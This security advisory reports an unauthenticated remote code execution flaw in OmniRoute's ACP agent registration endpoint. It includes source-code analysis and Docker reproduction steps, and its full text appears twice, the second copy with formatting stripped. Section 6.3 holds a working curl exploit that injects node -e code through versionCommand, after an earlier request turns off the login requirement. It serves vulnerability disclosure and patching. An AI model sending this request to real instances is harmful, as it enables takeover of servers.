2. Summary
POST /api/acp/agents registers a custom ACP agent. The endpoint accepts user-controlled
binary and versionCommand values. After saving the custom agent, the same request calls
refreshAgentCache(), which triggers agent version detection. The version probe eventually runs:
execFileSync(probe.command, probe.args, ...)
The only validation is resolveVersionProbe(binary, versionCommand, true), which checks that the
first token of versionCommand matches the request-provided binary. Because binary is also
attacker-controlled, an attacker can submit:
{
"binary": "node",
"versionCommand": "node -e \"...arbitrary JavaScript...\""
}
This executes arbitrary Node.js code inside the server container, and that code can execute OS
commands via child_process.execSync().
When requireLogin=false, isAuthenticated() treats anonymous requests as authenticated. At the
same time, /api/acp/ is not included in LOCAL_ONLY_API_PREFIXES or SPAWN_CAPABLE_PREFIXES, so
the endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch.
As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a
single HTTP request.
3. Preconditions
The unauthenticated exploit is reachable in either of the following scenarios:
- The target instance has
requireLogin=false. This is the primary scenario covered by this
report and by the reproduction steps below.
- A fresh instance has no management password configured yet. During this bootstrap window,
/api/settings/require-login allows unauthenticated setup writes, so an attacker can first set
requireLogin=false and then call the vulnerable endpoint.
If the instance is in the default requireLogin=true state and already has a management password,
exploitation requires a valid management session or management-scoped API key. In that case, the
bug is authenticated RCE rather than the unauthenticated scenario emphasized here.
4. Technical Analysis
4.1 The Endpoint Accepts User-Controlled Command Fields
src/app/api/acp/agents/route.ts:15-24 defines a request schema that accepts binary,
versionCommand, and spawnArgs:
const customAgentBodySchema = z.object({
action: z.string().optional(),
id: z.string().optional(),
name: z.string().optional(),
binary: z.string().optional(),
versionCommand: z.string().optional(),
providerAlias: z.string().optional(),
spawnArgs: z.array(z.string()).optional(),
protocol: z.enum(["stdio", "http"]).optional(),
});
The POST handler at src/app/api/acp/agents/route.ts:58-61 only calls isAuthenticated():
export async function POST(request: Request) {
if (!(await isAuthenticated(request))) {
return NextResponse.json({ error: "Unauthorized" }, { status: 401 });
}
The handler then stores binary and versionCommand in the custom agent definition without an
executable allowlist:
const newAgent: CustomAgentDef = {
id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"),
name,
binary,
versionCommand,
providerAlias: providerAlias || id,
spawnArgs: spawnArgs || [],
protocol: protocol || "stdio",
};
This logic is in src/app/api/acp/agents/route.ts:92-100.
4.2 The Only Guard Is a Self-Consistency Check
The only command validation in the route is at src/app/api/acp/agents/route.ts:102-107:
if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {
return NextResponse.json(
{ error: "Invalid versionCommand: use the configured binary with plain arguments only" },
{ status: 400 }
);
}
The core logic of resolveVersionProbe() is in src/lib/acp/registry.ts:261-288:
export function resolveVersionProbe(
binary: string,
versionCommand: string,
requireBinaryMatch = false
): { command: string; args: string[] } | null {
const tokens = tokenizeVersionCommand(versionCommand);
if (!tokens) {
return null;
}
const [command, ...args] = tokens;
if (!command) {
return null;
}
if (requireBinaryMatch) {
const normalizedCommand = normalizeCommandToken(command);
const allowed = new Set([
normalizeCommandToken(binary),
normalizeCommandToken(path.basename(binary)),
]);
if (!allowed.has(normalizedCommand)) {
return null;
}
}
return { command, args };
}
This check only requires the first token of versionCommand to equal binary or
path.basename(binary). Since binary is also attacker-controlled, binary="node" and
versionCommand="node -e \"...\"" pass validation.
tokenizeVersionCommand() only blocks a small set of shell metacharacters
(src/lib/acp/registry.ts:183-254):
const DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\r\n]/;
This does not prevent node -e code execution, because characters needed for the payload, such as
(, ), ', ., /, ,, and spaces, are allowed.
4.3 The Same Request Immediately Triggers Command Execution
After saving the custom agent, the route calls refreshAgentCache() at
src/app/api/acp/agents/route.ts:121-127:
const updated = [...current, newAgent];
await updateSettings({ customAgents: updated });
setCustomAgents(updated);
const agents = refreshAgentCache();
return NextResponse.json({ agents, added: newAgent });
refreshAgentCache() is defined at src/lib/acp/registry.ts:366-369:
export function refreshAgentCache(): CliAgentInfo[] {
_cachedAgents = null;
return detectInstalledAgents();
}
detectInstalledAgents() merges built-in and custom agents and calls detectAgent() for each one
(src/lib/acp/registry.ts:342-360):
const allDefs = [
...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })),
..._customAgentDefs.map((d) => ({ ...d, _custom: true })),
];
_cachedAgents = allDefs.map((def) => {
const { _custom, ...rest } = def;
return detectAgent(rest, _custom);
});
The command execution sink is at src/lib/acp/registry.ts:307-325:
const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);
if (!probe) {
return { ...def, version, installed, isCustom };
}
const output = execFileSync(probe.command, probe.args, {
timeout: 5000,
encoding: "utf-8",
stdio: ["pipe", "pipe", "pipe"],
...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),
}).trim();
On Linux containers, shouldUseShellForVersionProbe() returns false for non-Windows platforms
(src/lib/acp/registry.ts:290-301):
export function shouldUseShellForVersionProbe(
command: string,
platform = process.platform
): boolean {
if (platform !== "win32") return false;
...
}
Therefore the effective execution is execFileSync("node", ["-e", "..."]). No shell
metacharacters are required.
4.4 Why This Is Unauthenticated
isAuthenticated() is defined at src/shared/utils/apiAuth.ts:285-302:
export async function isAuthenticated(request: Request): Promise<boolean> {
if (!(await isAuthRequired(request))) {
return true;
}
...
}
isAuthRequired() returns false when requireLogin=false
(src/shared/utils/apiAuth.ts:317-323):
const settings = await getSettings();
if (settings.requireLogin === false) return false;
The centralized management policy also has the same anonymous allow branch at
src/server/authz/policies/management.ts:223-226:
if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) {
return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" });
}
Routes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first.
src/server/authz/routeGuard.ts:29-45 lists LOCAL_ONLY prefixes such as /api/mcp/,
/api/cli-tools/runtime/, /api/services/, /api/tools/agent-bridge/, and /api/plugins/, but
it does not include /api/acp/:
export const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [
"/api/mcp/",
"/api/cli-tools/runtime/",
"/api/services/",
"/dashboard/providers/services/",
"/api/copilot/",
"/api/tools/agent-bridge/",
"/api/tools/traffic-inspector/",
"/api/plugins/",
"/api/plugins",
"/api/system/version",
"/api/db-backups/exportAll",
"/api/local/",
"/api/headroom/start",
"/api/headroom/stop",
"/api/oauth/cursor/auto-import",
];
SPAWN_CAPABLE_PREFIXES also omits /api/acp/
(src/shared/constants/spawnCapablePrefixes.ts:26-35).
This means /api/acp/agents reaches the anonymous allow branch when requireLogin=false instead
of being rejected by the LOCAL_ONLY gate.
5. Reproduction Environment
The issue can be reproduced in a local Docker environment:
- OmniRoute image:
diegosouzapw/omniroute:latest
- Exposed port:
20128
- Container data directory:
/app/data
- PoC behavior: runs only read-only commands (
id and uname -a) and writes their output to
/app/data/UNAUTH_RCE_PROOF.txt
6. Reproduction Steps
6.1 Start a Test Instance
JWT=$(openssl rand -base64 48)
AKS=$(openssl rand -hex 32)
docker network create omniroute-poc-net
docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine
docker run -d --name omniroute-poc --network omniroute-poc-net \
-p 20128:20128 -p 20129:20129 \
-e JWT_SECRET="$JWT" \
-e API_KEY_SECRET="$AKS" \
-e REDIS_URL="redis://omniroute-poc-redis:6379" \
diegosouzapw/omniroute:latest
Wait for startup:
until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \
curl -sf http://localhost:20128/ >/dev/null 2>&1; do
sleep 2
done
6.2 Put the Instance in the Login-Disabled State
This step models a self-hosted instance where dashboard login has been disabled:
curl -s -X POST "http://localhost:20128/api/settings/require-login" \
-H "content-type: application/json" \
-d '{"requireLogin":false}'
If the target is already in requireLogin=false, this step is not needed.
6.3 Trigger RCE Anonymously
The following request sends no cookie and no Bearer token:
curl -s -X POST "http://localhost:20128/api/acp/agents" \
-H "content-type: application/json" \
-d '{
"id":"anonrce",
"name":"anonrce",
"binary":"node",
"protocol":"stdio",
"versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\""
}'
6.4 Verify Command Execution
docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt
Expected output is similar to:
uid=1000(node) gid=1000(node) groups=1000(node)
Linux <container-id> <kernel-version> ... <arch> GNU/Linux
This proves that the anonymous HTTP request executed id and uname -a inside the OmniRoute
container.

### References
- https://github.com/diegosouzapw/OmniRoute/security/advisories/
GHSA-hf57-cqmx-p4gr
- https://github.com/
diegosouzapw/OmniRoute/pull/11028
- https://github.com/diegosouzapw/OmniRoute/commit/60829241fd64d0317aa6a0dd8cd7a445a5287fed
2. Summary
POST /api/acp/agentsregisters a custom ACP agent. The endpoint accepts user-controlledbinaryandversionCommandvalues. After saving the custom agent, the same request callsrefreshAgentCache(), which triggers agent version detection. The version probe eventually runs:The only validation is
resolveVersionProbe(binary, versionCommand, true), which checks that thefirst token of
versionCommandmatches the request-providedbinary. Becausebinaryis alsoattacker-controlled, an attacker can submit:
{ "binary": "node", "versionCommand": "node -e \"...arbitrary JavaScript...\"" }This executes arbitrary Node.js code inside the server container, and that code can execute OS
commands via
child_process.execSync().When
requireLogin=false,isAuthenticated()treats anonymous requests as authenticated. At thesame time,
/api/acp/is not included inLOCAL_ONLY_API_PREFIXESorSPAWN_CAPABLE_PREFIXES, sothe endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch.
As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a
single HTTP request.
3. Preconditions
The unauthenticated exploit is reachable in either of the following scenarios:
requireLogin=false. This is the primary scenario covered by thisreport and by the reproduction steps below.
/api/settings/require-loginallows unauthenticated setup writes, so an attacker can first setrequireLogin=falseand then call the vulnerable endpoint.If the instance is in the default
requireLogin=truestate and already has a management password,exploitation requires a valid management session or management-scoped API key. In that case, the
bug is authenticated RCE rather than the unauthenticated scenario emphasized here.
4. Technical Analysis
4.1 The Endpoint Accepts User-Controlled Command Fields
src/app/api/acp/agents/route.ts:15-24defines a request schema that acceptsbinary,versionCommand, andspawnArgs:The
POSThandler atsrc/app/api/acp/agents/route.ts:58-61only callsisAuthenticated():The handler then stores
binaryandversionCommandin the custom agent definition without anexecutable allowlist:
This logic is in
src/app/api/acp/agents/route.ts:92-100.4.2 The Only Guard Is a Self-Consistency Check
The only command validation in the route is at
src/app/api/acp/agents/route.ts:102-107:The core logic of
resolveVersionProbe()is insrc/lib/acp/registry.ts:261-288:This check only requires the first token of
versionCommandto equalbinaryorpath.basename(binary). Sincebinaryis also attacker-controlled,binary="node"andversionCommand="node -e \"...\""pass validation.tokenizeVersionCommand()only blocks a small set of shell metacharacters(
src/lib/acp/registry.ts:183-254):This does not prevent
node -ecode execution, because characters needed for the payload, such as(,),',.,/,,, and spaces, are allowed.4.3 The Same Request Immediately Triggers Command Execution
After saving the custom agent, the route calls
refreshAgentCache()atsrc/app/api/acp/agents/route.ts:121-127:refreshAgentCache()is defined atsrc/lib/acp/registry.ts:366-369:detectInstalledAgents()merges built-in and custom agents and callsdetectAgent()for each one(
src/lib/acp/registry.ts:342-360):The command execution sink is at
src/lib/acp/registry.ts:307-325:On Linux containers,
shouldUseShellForVersionProbe()returnsfalsefor non-Windows platforms(
src/lib/acp/registry.ts:290-301):Therefore the effective execution is
execFileSync("node", ["-e", "..."]). No shellmetacharacters are required.
4.4 Why This Is Unauthenticated
isAuthenticated()is defined atsrc/shared/utils/apiAuth.ts:285-302:isAuthRequired()returnsfalsewhenrequireLogin=false(
src/shared/utils/apiAuth.ts:317-323):The centralized management policy also has the same anonymous allow branch at
src/server/authz/policies/management.ts:223-226:Routes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first.
src/server/authz/routeGuard.ts:29-45lists LOCAL_ONLY prefixes such as/api/mcp/,/api/cli-tools/runtime/,/api/services/,/api/tools/agent-bridge/, and/api/plugins/, butit does not include
/api/acp/:SPAWN_CAPABLE_PREFIXESalso omits/api/acp/(
src/shared/constants/spawnCapablePrefixes.ts:26-35).This means
/api/acp/agentsreaches the anonymous allow branch whenrequireLogin=falseinsteadof being rejected by the LOCAL_ONLY gate.
5. Reproduction Environment
The issue can be reproduced in a local Docker environment:
diegosouzapw/omniroute:latest20128/app/dataidanduname -a) and writes their output to/app/data/UNAUTH_RCE_PROOF.txt6. Reproduction Steps
6.1 Start a Test Instance
Wait for startup:
6.2 Put the Instance in the Login-Disabled State
This step models a self-hosted instance where dashboard login has been disabled:
If the target is already in
requireLogin=false, this step is not needed.6.3 Trigger RCE Anonymously
The following request sends no cookie and no Bearer token:
6.4 Verify Command Execution
docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txtExpected output is similar to:
This proves that the anonymous HTTP request executed
idanduname -ainside the OmniRoutecontainer.

### References - https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr - https://github.com/diegosouzapw/OmniRoute/pull/11028 - https://github.com/diegosouzapw/OmniRoute/commit/60829241fd64d0317aa6a0dd8cd7a445a5287fed